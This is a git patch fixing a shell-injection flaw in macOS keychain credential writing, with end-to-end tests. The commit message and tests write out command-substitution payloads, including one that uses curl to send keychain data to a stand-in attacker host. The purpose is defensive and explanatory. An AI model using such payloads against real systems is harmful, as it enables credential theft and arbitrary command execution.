From 9dce3d8bf83f13c067bc3c32291643d2f1f10a06 Mon Sep 17 00:00:00 2001 From: Aether AI Date: Sun, 15 Feb 2026 03:06:10 +1100 Subject: [PATCH] fix(security): prevent shell injection in macOS keychain credential write (#15924) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Replace execSync with execFileSync in writeClaudeCliKeychainCredentials to prevent command injection via malicious OAuth token values (OC-28, CWE-78, Severity: HIGH). ## Vulnerable Code The previous implementation built a shell command via string interpolation with single-quote escaping: execSync(`security add-generic-password -U -s "..." -a "..." -w '${newValue.replace(/'/g, "'\"'\"'")}'`) The replace() call only handles literal single quotes, but /bin/sh still interprets other shell metacharacters inside the resulting command string. ## Attack Vector User-controlled OAuth tokens (from a malicious OAuth provider response) could escape single-quote protection via: - Command substitution: $(curl attacker.com/exfil?data=$(security ...)) - Backtick expansion: `id > /tmp/pwned` These payloads bypass the single-quote escaping because $() and backtick substitution are processed by the shell before the quotes are evaluated, enabling arbitrary command execution as the gateway user. ## Fix execFileSync spawns the security binary directly, passing arguments as an array that is never shell-interpreted: execFileSync("security", ["add-generic-password", "-U", "-s", SERVICE, "-a", ACCOUNT, "-w", newValue]) This eliminates the shell injection vector entirely — no escaping needed, the OS handles argument boundaries natively. --- src/agents/cli-credentials.e2e.test.ts | 100 ++++++++++++++++++++++--- src/agents/cli-credentials.ts | 19 +++-- 2 files changed, 104 insertions(+), 15 deletions(-) diff --git a/src/agents/cli-credentials.e2e.test.ts b/src/agents/cli-credentials.e2e.test.ts index 52a70c3bdef..4e1ddf4e202 100644 --- a/src/agents/cli-credentials.e2e.test.ts +++ b/src/agents/cli-credentials.e2e.test.ts @@ -4,6 +4,7 @@ import path from "node:path"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; const execSyncMock = vi.fn(); +const execFileSyncMock = vi.fn(); describe("cli credentials", () => { beforeEach(() => { @@ -13,18 +14,15 @@ describe("cli credentials", () => { afterEach(async () => { vi.useRealTimers(); execSyncMock.mockReset(); + execFileSyncMock.mockReset(); delete process.env.CODEX_HOME; const { resetCliCredentialCachesForTest } = await import("./cli-credentials.js"); resetCliCredentialCachesForTest(); }); it("updates the Claude Code keychain item in place", async () => { - const commands: string[] = []; - execSyncMock.mockImplementation((command: unknown) => { const cmd = String(command); - commands.push(cmd); - if (cmd.includes("find-generic-password")) { return JSON.stringify({ claudeAiOauth: { @@ -34,10 +32,11 @@ describe("cli credentials", () => { }, }); } - return ""; }); + execFileSyncMock.mockReturnValue(""); + const { writeClaudeCliKeychainCredentials } = await import("./cli-credentials.js"); const ok = writeClaudeCliKeychainCredentials( @@ -46,14 +45,97 @@ describe("cli credentials", () => { refresh: "new-refresh", expires: Date.now() + 60_000, }, - { execSync: execSyncMock }, + { execSync: execSyncMock, execFileSync: execFileSyncMock }, ); expect(ok).toBe(true); - expect(commands.some((cmd) => cmd.includes("delete-generic-password"))).toBe(false); - const updateCommand = commands.find((cmd) => cmd.includes("add-generic-password")); - expect(updateCommand).toContain("-U"); + // Verify execFileSync was called with array args (no shell interpretation) + expect(execFileSyncMock).toHaveBeenCalledTimes(1); + const [binary, args] = execFileSyncMock.mock.calls[0]; + expect(binary).toBe("security"); + expect(args).toContain("add-generic-password"); + expect(args).toContain("-U"); + }); + + it("prevents shell injection via malicious OAuth token values", async () => { + const maliciousToken = "x'$(curl attacker.com/exfil)'y"; + + execSyncMock.mockImplementation((command: unknown) => { + const cmd = String(command); + if (cmd.includes("find-generic-password")) { + return JSON.stringify({ + claudeAiOauth: { + accessToken: "old-access", + refreshToken: "old-refresh", + expiresAt: Date.now() + 60_000, + }, + }); + } + return ""; + }); + + execFileSyncMock.mockReturnValue(""); + + const { writeClaudeCliKeychainCredentials } = await import("./cli-credentials.js"); + + const ok = writeClaudeCliKeychainCredentials( + { + access: maliciousToken, + refresh: "safe-refresh", + expires: Date.now() + 60_000, + }, + { execSync: execSyncMock, execFileSync: execFileSyncMock }, + ); + + expect(ok).toBe(true); + + // The -w argument must contain the malicious string literally, not shell-expanded + const [, args] = execFileSyncMock.mock.calls[0]; + const wIndex = (args as string[]).indexOf("-w"); + const passwordValue = (args as string[])[wIndex + 1]; + expect(passwordValue).toContain(maliciousToken); + // Verify it was passed as a direct argument, not built into a shell command string + expect(execFileSyncMock.mock.calls[0][0]).toBe("security"); + }); + + it("prevents shell injection via backtick command substitution in tokens", async () => { + const backtickPayload = "token`id`value"; + + execSyncMock.mockImplementation((command: unknown) => { + const cmd = String(command); + if (cmd.includes("find-generic-password")) { + return JSON.stringify({ + claudeAiOauth: { + accessToken: "old-access", + refreshToken: "old-refresh", + expiresAt: Date.now() + 60_000, + }, + }); + } + return ""; + }); + + execFileSyncMock.mockReturnValue(""); + + const { writeClaudeCliKeychainCredentials } = await import("./cli-credentials.js"); + + const ok = writeClaudeCliKeychainCredentials( + { + access: "safe-access", + refresh: backtickPayload, + expires: Date.now() + 60_000, + }, + { execSync: execSyncMock, execFileSync: execFileSyncMock }, + ); + + expect(ok).toBe(true); + + // Backtick payload must be passed literally, not interpreted + const [, args] = execFileSyncMock.mock.calls[0]; + const wIndex = (args as string[]).indexOf("-w"); + const passwordValue = (args as string[])[wIndex + 1]; + expect(passwordValue).toContain(backtickPayload); }); it("falls back to the file store when the keychain update fails", async () => { diff --git a/src/agents/cli-credentials.ts b/src/agents/cli-credentials.ts index 53b3352072e..17f4d494084 100644 --- a/src/agents/cli-credentials.ts +++ b/src/agents/cli-credentials.ts @@ -1,5 +1,5 @@ import type { OAuthCredentials, OAuthProvider } from "@mariozechner/pi-ai"; -import { execSync } from "node:child_process"; +import { execFileSync, execSync } from "node:child_process"; import { createHash } from "node:crypto"; import fs from "node:fs"; import path from "node:path"; @@ -86,6 +86,7 @@ type ClaudeCliWriteOptions = ClaudeCliFileOptions & { }; type ExecSyncFn = typeof execSync; +type ExecFileSyncFn = typeof execFileSync; function resolveClaudeCliCredentialsPath(homeDir?: string) { const baseDir = homeDir ?? resolveUserPath("~"); @@ -381,9 +382,10 @@ export function readClaudeCliCredentialsCached(options?: { export function writeClaudeCliKeychainCredentials( newCredentials: OAuthCredentials, - options?: { execSync?: ExecSyncFn }, + options?: { execSync?: ExecSyncFn; execFileSync?: ExecFileSyncFn }, ): boolean { const execSyncImpl = options?.execSync ?? execSync; + const execFileSyncImpl = options?.execFileSync ?? execFileSync; try { const existingResult = execSyncImpl( `security find-generic-password -s "${CLAUDE_CLI_KEYCHAIN_SERVICE}" -w 2>/dev/null`, @@ -405,10 +407,15 @@ export function writeClaudeCliKeychainCredentials( const newValue = JSON.stringify(existingData); - execSyncImpl( - `security add-generic-password -U -s "${CLAUDE_CLI_KEYCHAIN_SERVICE}" -a "${CLAUDE_CLI_KEYCHAIN_ACCOUNT}" -w '${newValue.replace(/'/g, "'\"'\"'")}'`, - { encoding: "utf8", timeout: 5000, stdio: ["pipe", "pipe", "pipe"] }, - ); + // Use execFileSync to avoid shell interpretation of user-controlled token values. + // This prevents command injection via $() or backtick expansion in OAuth tokens. + execFileSyncImpl("security", [ + "add-generic-password", + "-U", + "-s", CLAUDE_CLI_KEYCHAIN_SERVICE, + "-a", CLAUDE_CLI_KEYCHAIN_ACCOUNT, + "-w", newValue, + ], { encoding: "utf8", timeout: 5000, stdio: ["pipe", "pipe", "pipe"] }); log.info("wrote refreshed credentials to claude cli keychain", { expires: new Date(newCredentials.expires).toISOString(),